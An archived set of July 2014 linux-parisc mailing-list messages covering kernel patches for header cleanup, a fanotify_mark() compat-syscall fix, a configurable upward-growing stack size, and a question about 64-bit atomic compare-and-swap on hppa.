X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: drop unused defines and header includes
Date: Thu, 10 Jul 2014 18:08:11 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20140710160811.GA14195@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1405008507 13145 80.91.229.3 (10 Jul 2014 16:08:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Jul 2014 16:08:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 10 18:08:19 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X5GtN-0003OJ-UA
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 Jul 2014 18:08:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752368AbaGJQIQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Jul 2014 12:08:16 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:65352 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752424AbaGJQIQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Jul 2014 12:08:16 -0400
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx102) with ESMTPSA (Nemesis) id 0MV30j-1X6eyh09UL-00YUGe; Thu, 10 Jul
 2014 18:08:14 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:Z1PmtCF6p7zqdIrA1FgHo69h5XThywVgPL2mR7INs1+3c/uQaMs
 diy19bJS0yNpUveGrtd3hsC5uC9qjS2HqDzAQU/txaLiY6qs7/+o/WPTVNPp1iBUyTbzxJA
 jHNyMtwjtz+t5KhXhus4NBo2+J+35RvMt3INktt5NF/0pdLp/gyhqalvR0/J38AxxZYEIB1
 RlM3ZdD6koPgxy2NBLlTg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5919
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5919>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index bb9f3b6..93c1963 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -11,44 +12,8 @@
 
 #include <linux/compat.h>
 #include <linux/kernel.h>
-#include <linux/sched.h>
-#include <linux/fs.h> 
-#include <linux/mm.h> 
-#include <linux/file.h> 
-#include <linux/signal.h>
-#include <linux/resource.h>
-#include <linux/times.h>
-#include <linux/time.h>
-#include <linux/smp.h>
-#include <linux/sem.h>
-#include <linux/shm.h>
-#include <linux/slab.h>
-#include <linux/uio.h>
-#include <linux/ncp_fs.h>
-#include <linux/poll.h>
-#include <linux/personality.h>
-#include <linux/stat.h>
-#include <linux/highmem.h>
-#include <linux/highuid.h>
-#include <linux/mman.h>
-#include <linux/binfmts.h>
-#include <linux/namei.h>
-#include <linux/vfs.h>
-#include <linux/ptrace.h>
-#include <linux/swap.h>
 #include <linux/syscalls.h>
 
-#include <asm/types.h>
-#include <asm/uaccess.h>
-#include <asm/mmu_context.h>
-
-#undef DEBUG

From - Thu Nov 08 21:10:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix fanotify_mark() breakage on big endian 32bit kernel
 [SOLVED]
Date: Fri, 11 Jul 2014 10:00:13 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <53BF998D.50903@gmx.de>
References: <20140704151235.GA22454@ls3530.dhcp.wdf.sap.corp> <20140706091530.GA3589@osiris> <trinity-8380f6e4-393a-40f8-ba95-3ab03baa85b7-1404741277414@3capp-gmx-bs54> <20140707152809.GA6373@osiris>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405065636 2622 80.91.229.3 (11 Jul 2014 08:00:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 11 Jul 2014 08:00:36 +0000 (UTC)
Cc: Eric Paris <eparis@redhat.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	Heinrich Schuchardt <xypron.glpk@gmx.de>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Dave Anglin <dave.anglin@bell.net>
To: Heiko Carstens <heiko.carstens@de.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 11 10:00:30 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X5Vkp-0003wR-VC
	for glpp-linux-parisc@plane.gmane.org; Fri, 11 Jul 2014 10:00:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752001AbaGKIA1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 11 Jul 2014 04:00:27 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:54194 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751912AbaGKIA0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 11 Jul 2014 04:00:26 -0400
Original-Received: from [10.95.167.134] ([155.56.40.73]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0MeLKt-1XEdNY0J4R-00QDwM; Fri, 11 Jul 2014 10:00:15
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <20140707152809.GA6373@osiris>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:OS0O7M3ZKtieTIMZFU4NqKUWj9sK9uLcE2oiVNwRMrEQeR2BbK9
 LBez+Bw0lr4L/CAiuz1aquKn8akGQ+w/KDIUareFCkjcPAMQyjJXaDc1TJoan95XMvQA74t
 s/Uu7JkTQcCNORfUpkR09TS3pycJ98W7BKK33U4K+SzwVm3+4lhneXQ17KngCL6fJTRAmQK
 jyxZKfFCHqNAkfmhVX3xg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5920 gmane.linux.kernel:1744466
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5920>

On 07/07/2014 05:28 PM, Heiko Carstens wrote:
> On Mon, Jul 07, 2014 at 03:54:37PM +0200, Helge Deller wrote:
>> Hi Heiko,
>>> So for sys_fanotify_mark everything is fine on s390, and probably most other
>>> architectures as well. Having a 64 bit syscall parameter indeed does work,
>>> if all the architecture specific details have been correctly considered.
>>
>> I think this is the problem!
> [...]
>> So on hppa r26 is fanotify_fd, %r25 is flags, %r24/%r23 is lower/higher 32bits of mask.
>> For the mask parameter this is different to what the __LONG_LONG_PAIR() marcro
>> would hand over to the syscall (which would be %r24/%r23 as higher/lower 32bits).
>>
>> So, the problem is the usage of __u64 in the 32bit API. It has to be handled architecture-specific.
>> It seems to work for little-endian machines, and probably (by luck?!?) for s390, but I'm not sure if
>> it maybe breaks (like on parisc) on other arches, e.g. what about sparc?
> 
> No, it's not luck that it works on s390. Whenever we add a new entry to
> our system call table, we make sure that 64 bit parameters, if present,
> work on s390.
> Otherwise we add s390 specific system calls like e.g. sys_s390_fallocate.
> 
>> For parisc I can work around that problem in the architecture-specifc coding, but I still
>> think using __64 here is wrong and just may lead to such bugs.
> 
> There have always been problems with 64 bit system call parameters on 32 bit
> architectures. See for example this thread:
> http://oss.sgi.com/archives/xfs/2007-03/msg00557.html
> 
> David Woodhouse wrote summed up the system call ABI of a couple of
> architectures a couple of years ago:
> http://marc.info/?l=linux-arch&m=118277150812137&w=2
> 
> And there was also a system call howto from Ulrich Drepper:
> http://copilotco.com/mail-archives/linux-kernel.2007/msg27844.html

It finally turned out, that on hppa we end up with different assignments of parameters to kernel arguments depending on if we call the glibc wrapper function
int fanotify_mark (int __fanotify_fd, unsigned int __flags, uint64_t __mask, int __dfd, const char *__pathname);
or directly calling the syscall manually
syscall(__NR_fanotify_mark, ...)

Reason is, that the syscall() function is implemented as C-function and because we now have the sysno as first parameter in front of the other parameters the compiler will unexpectedly add an empty paramenter in front of the u64 value to ensure the correct calling alignment for 64bit values.
This means, on hppa you can't simply use syscall() to call the kernel fanotify_mark() function directly, but you have to use the glibc function instead.

I'll push this patch through the parisc-linux git tree:
https://patchwork.kernel.org/patch/4524561/
which fixes the kernel in the hppa-arch specifc coding to adjust the parameters in a way as if userspace calls the glibc wrapper function fanotify_mark().

So, please ignore my previous patches in this thread.

Thanks!
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc updates for v3.16
Date: Sun, 13 Jul 2014 16:22:41 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20140713142241.GA4249@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1405261388 27853 80.91.229.3 (13 Jul 2014 14:23:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 13 Jul 2014 14:23:08 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 13 16:23:01 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X6Kg8-0001Rh-Cc
	for glpp-linux-parisc@plane.gmane.org; Sun, 13 Jul 2014 16:23:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752642AbaGMOWs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 13 Jul 2014 10:22:48 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:62308 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751588AbaGMOWs (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 13 Jul 2014 10:22:48 -0400
Original-Received: from p100.box ([84.173.58.88]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0LrvWY-1WR3Nt2m58-013iJJ; Sun, 13 Jul 2014 16:22:43
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:NyZpvZQoFjldmlAuzMAtQwGwdijzIpFeaTzWwjTs8DBGBdHVt5o
 E2OJAsQTAXu2kAa/zMS3d8hfpz6mxdKh36TK5SWm6KW6s0KCYSaNCA7O6YThSjnQz6JQzjy
 6tsTzj4W0L3SvY2t3Xg7L5x9pd69VgSO2ooWGaZmN6fHgdRIuYRyxGKuVQCNBGVrev3H0Zj
 Xct2DwcPe9rUfNEmDAggg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5921 gmane.linux.kernel:1745602
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5921>

Hi Linus,

please pull the latest parisc architecture fixes for kernel 3.16 from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.16-5

The major patch in here is one which fixes the fanotify_mark() syscall in the
compat layer of the 64bit parisc kernel. It went unnoticed so long, because the
calling syntax when using a 64bit parameter in a 32bit syscall is quite complex
and even worse, it may be even different if you call syscall() or the glibc
wrapper. This patch makes the kernel accept the calling convention when called
by the glibc wrapper.

The other two patches are trivial and remove unused headers, #includes and adds
the serial ports of the fastest C8000 workstation to the parisc-kernel internal
hardware database.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (3):
      parisc: add serial ports of C8000/1GHz machine to hardware database
      parisc: fix fanotify_mark() syscall on 32bit compat kernel
      parisc: drop unused defines and header includes

 arch/parisc/kernel/hardware.c      |  3 ++-
 arch/parisc/kernel/sys_parisc32.c  | 46 +++++++++-----------------------------
 arch/parisc/kernel/syscall_table.S |  2 +-
 3 files changed, 13 insertions(+), 38 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.ports.parisc,gmane.linux.kernel.metag
Subject: [PATCH 3.14 08/66] parisc,metag: Do not hardcode maximum userspace stack size
Date: Tue, 15 Jul 2014 16:17:02 -0700
Lines: 102
Approved: news@gmane.org
Message-ID: <20140715231702.440835453@linuxfoundation.org>
References: <20140715231702.156040999@linuxfoundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1405466902 10406 80.91.229.3 (15 Jul 2014 23:28:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 15 Jul 2014 23:28:22 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	stable@vger.kernel.org, Helge Deller <deller@gmx.de>,
	James Hogan <james.hogan@imgtec.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org, linux-metag@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jul 16 01:28:15 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1X7C8t-0001AD-0d
	for glk-linux-kernel-3@plane.gmane.org; Wed, 16 Jul 2014 01:28:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760076AbaGOXOX (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 15 Jul 2014 19:14:23 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:45209 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760035AbaGOXNq (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 15 Jul 2014 19:13:46 -0400
Original-Received: from localhost (c-76-28-255-20.hsd1.wa.comcast.net [76.28.255.20])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 9B3DCA34;
	Tue, 15 Jul 2014 23:13:45 +0000 (UTC)
X-Mailer: git-send-email 2.0.0.254.g50f84e3
In-Reply-To: <20140715231702.156040999@linuxfoundation.org>
User-Agent: quilt/0.63-1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1748019 gmane.linux.kernel.stable:99808 gmane.linux.ports.parisc:5922 gmane.linux.kernel.metag:231
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1748019>

3.14-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Helge Deller <deller@gmx.de>

commit 042d27acb64924a0e8a43e972485913a32407beb upstream.

This patch affects only architectures where the stack grows upwards
(currently parisc and metag only). On those do not hardcode the maximum
initial stack size to 1GB for 32-bit processes, but make it configurable
via a config option.

The main problem with the hardcoded stack size is, that we have two
memory regions which grow upwards: stack and heap. To keep most of the
memory available for heap in a flexmap memory layout, it makes no sense
to hard allocate up to 1GB of the memory for stack which can't be used
as heap then.

This patch makes the stack size for 32-bit processes configurable and
uses 80MB as default value which has been in use during the last few
years on parisc and which hasn't showed any problems yet.

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Cc: linux-metag@vger.kernel.org
Cc: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/metag/include/asm/processor.h  |    2 +-
 arch/parisc/include/asm/processor.h |    5 ++++-
 arch/parisc/kernel/sys_parisc.c     |    6 +++---
 mm/Kconfig                          |   15 +++++++++++++++
 4 files changed, 23 insertions(+), 5 deletions(-)

--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -23,7 +23,7 @@
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
 /* Maximum virtual space for stack */
-#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */
+#define STACK_SIZE_MAX	(CONFIG_MAX_STACK_SIZE_MB*1024*1024)
 
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -55,7 +55,10 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
-#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+/* Allow bigger stacks for 64-bit processes */
+#define STACK_SIZE_MAX	(USER_WIDE_MODE					\
+			 ? (1 << 30)	/* 1 GB */			\
+			 : (CONFIG_MAX_STACK_SIZE_MB*1024*1024))
 
 #endif
 
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -72,10 +72,10 @@ static unsigned long mmap_upper_limit(vo
 {
 	unsigned long stack_base;
 
-	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
+	/* Limit stack size - see setup_arg_pages() in fs/exec.c */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;
 
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -580,3 +580,18 @@ config PGTABLE_MAPPING
 
 	  You can check speed with zsmalloc benchmark:
 	  https://github.com/spartacus06/zsmapbench
+
+config MAX_STACK_SIZE_MB
+	int "Maximum user stack size for 32-bit processes (MB)"
+	default 80
+	range 8 256 if METAG
+	range 8 2048
+	depends on STACK_GROWSUP && (!64BIT || COMPAT)
+	help
+	  This is the maximum stack size in Megabytes in the VM layout of 32-bit
+	  user processes when the stack grows upwards (currently only on parisc
+	  and metag arch). The stack will be located at the highest memory
+	  address minus the given value, unless the RLIMIT_STACK hard limit is
+	  changed to a smaller value in which case that is used.
+
+	  A sane initial value is 80 MB.



From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Implementing 64bit atomic gcc built-ins
Date: Wed, 16 Jul 2014 14:40:53 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <e85c925befea4de68fe6f0d292300eee@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1405515382 8085 80.91.229.3 (16 Jul 2014 12:56:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jul 2014 12:56:22 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 16 14:56:15 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7Oko-0002Bz-6q
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Jul 2014 14:56:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933597AbaGPM4N (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jul 2014 08:56:13 -0400
Original-Received: from venus.vo.lu ([80.90.45.96]:58603 "EHLO venus.vo.lu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933575AbaGPM4M (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jul 2014 08:56:12 -0400
X-Greylist: delayed 905 seconds by postgrey-1.27 at vger.kernel.org; Wed, 16 Jul 2014 08:56:12 EDT
Original-Received: from ibiza.lux.tuxicoman.be (UnknownHost [85.93.195.103]) by venus.vo.lu with SMTP
	(version=TLS\Tls
	cipher=Aes128 bits=128);
   Wed, 16 Jul 2014 14:40:26 +0200
Original-Received: from cartman.lux.tuxicoman.be ([2001:7e8:2221:200:224:8cff:fed3:dda9] helo=webmail.tuxicoman.be)
	by ibiza.lux.tuxicoman.be with esmtp (Exim 4.80.1)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1X7OVx-0005b3-O6
	for linux-parisc@vger.kernel.org; Wed, 16 Jul 2014 14:40:53 +0200
X-Sender: gmsoft@tuxicoman.be
User-Agent: Roundcube Webmail/0.9.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5923
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5923>

Hi all,


It seems that gcc on hppa currently doesn't support 64 bit atomic 
built-ins such as __sync_compare_and_swap().

Looking at the current implementation, glibc calls the LWS CAS in the 
kernel to do the compare and swap operation in an atomic way.
The current implementation of lws_compare_and_swap64 works only with 64 
bit kernel.

In the case of a 32 bit kernel, I'm not sure if it's possible to 
implement an atomic CAS that would work on two registers at once. If 
it's possible, most probably a lws_compare_and_swap_dword or so LWS 
should be created as I can't see the current ABI working in this 
scenario. As far as I understand the code in syscall.S, it would just be 
a matter of adding a ldw/stw instruction pair in cas_action to have 
64bit operations (on top of changing the ABI).

If we are running a 64bit kernel, I guess it might be possible to call 
lws_compare_and_swap64 from userspace, but it means that we would have 
to switch to wide mode in userspace prior to perform the call.
Again, I'm not sure that this is doable as it seems that to do so, the 
RSM instruction needs to be used while it's a privileged level 
instruction.
Another option is to create lws_compare_and_swap_dword with a different 
ABI that would take 64bit integers stored in two '32bit' registers, 
merge the registers into a single one and call lws_compare_ans_swap64.



For me, the best course of action here is to create 
lws_compare_and_swap_dword. Provided we can perform the CAS operation on 
two registers at once, it would solve the problem for 32bit userspace 
CAS to either kernel word size.

Would this approach work or is it a dead end ?

Any comments/advices ?


Thanks,
   Guy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Implementing 64bit atomic gcc built-ins
Date: Wed, 16 Jul 2014 10:24:24 -0400
Lines: 79
Approved: news@gmane.org
Message-ID: <CAE2sS1hY-XB60MiBxguJgUCAFwJ8bxMuFHNqE40vW=OBafzwjg@mail.gmail.com>
References: <e85c925befea4de68fe6f0d292300eee@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1405521190 20858 80.91.229.3 (16 Jul 2014 14:33:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 16 Jul 2014 14:33:10 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 16 16:33:04 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X7QGV-0006hd-ND
	for glpp-linux-parisc@plane.gmane.org; Wed, 16 Jul 2014 16:33:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933815AbaGPOdC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 16 Jul 2014 10:33:02 -0400
Original-Received: from mail-oa0-f44.google.com ([209.85.219.44]:45465 "EHLO
	mail-oa0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S965169AbaGPOcs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 16 Jul 2014 10:32:48 -0400
Original-Received: by mail-oa0-f44.google.com with SMTP id eb12so1005865oac.3
        for <linux-parisc@vger.kernel.org>; Wed, 16 Jul 2014 07:32:43 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=wUdlnc8SLS97+3c1CR4fHWQvBS1idMTBvAb/wcj1rNQ=;
        b=WlXMxUudGNc7sEnF9JfX3KrlsEZHhsD72/ex89k6m1LP5AwVqnHU1niShUdig4IxYJ
         +f5gL9a3ufR8gfkBNWu5lG29MPqyEakJ1GgJgmFsAyw7xBaXPIqZoGvyrVHuf/R36C1c
         fKMxA7YPQLWRB4DBhvDVUM0Vz/kx2MnvkshTk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=wUdlnc8SLS97+3c1CR4fHWQvBS1idMTBvAb/wcj1rNQ=;
        b=IlYh7L7jgNZGODt5MerzMQUjzy2UxM4x0zDkV9QnQp6W4enH6Hp5zvpX6fKlXuZIeE
         pfS03ex19QD2T80QLLsIW1frlCzoNPrsoEmv6vHn0KKMCmezvgrcvX6XGsBxTEV3oqOL
         L+wS5Mmh79c74eGm64hhrJRAq2XgHCvKzHXkS36bnIakCUWlJDW/WC9WTMhYDOd1eMw+
         9tThKGws4hS8pMlyu80+wNjFLgGBloWhADoBhzZR+g/PpFHIQZln6y1c2rZyh2KqrB91
         xgERxvYFSyOQ7TP1YZu0femtyK+2Hni5BHa2NS50Hs5g6GrYi1Q/QW2WSgML9NGg9ghh
         0BJQ==
X-Gm-Message-State: ALoCoQkaLZDSR6uezEEWb3RONy1q7zGgEZ6IKMGRvlFgEZfwdNIoe6HFCcw5dBa/5gsLKczDX7LP
X-Received: by 10.60.65.170 with SMTP id y10mr36010487oes.45.1405520665103;
 Wed, 16 Jul 2014 07:24:25 -0700 (PDT)
Original-Received: by 10.76.34.3 with HTTP; Wed, 16 Jul 2014 07:24:24 -0700 (PDT)
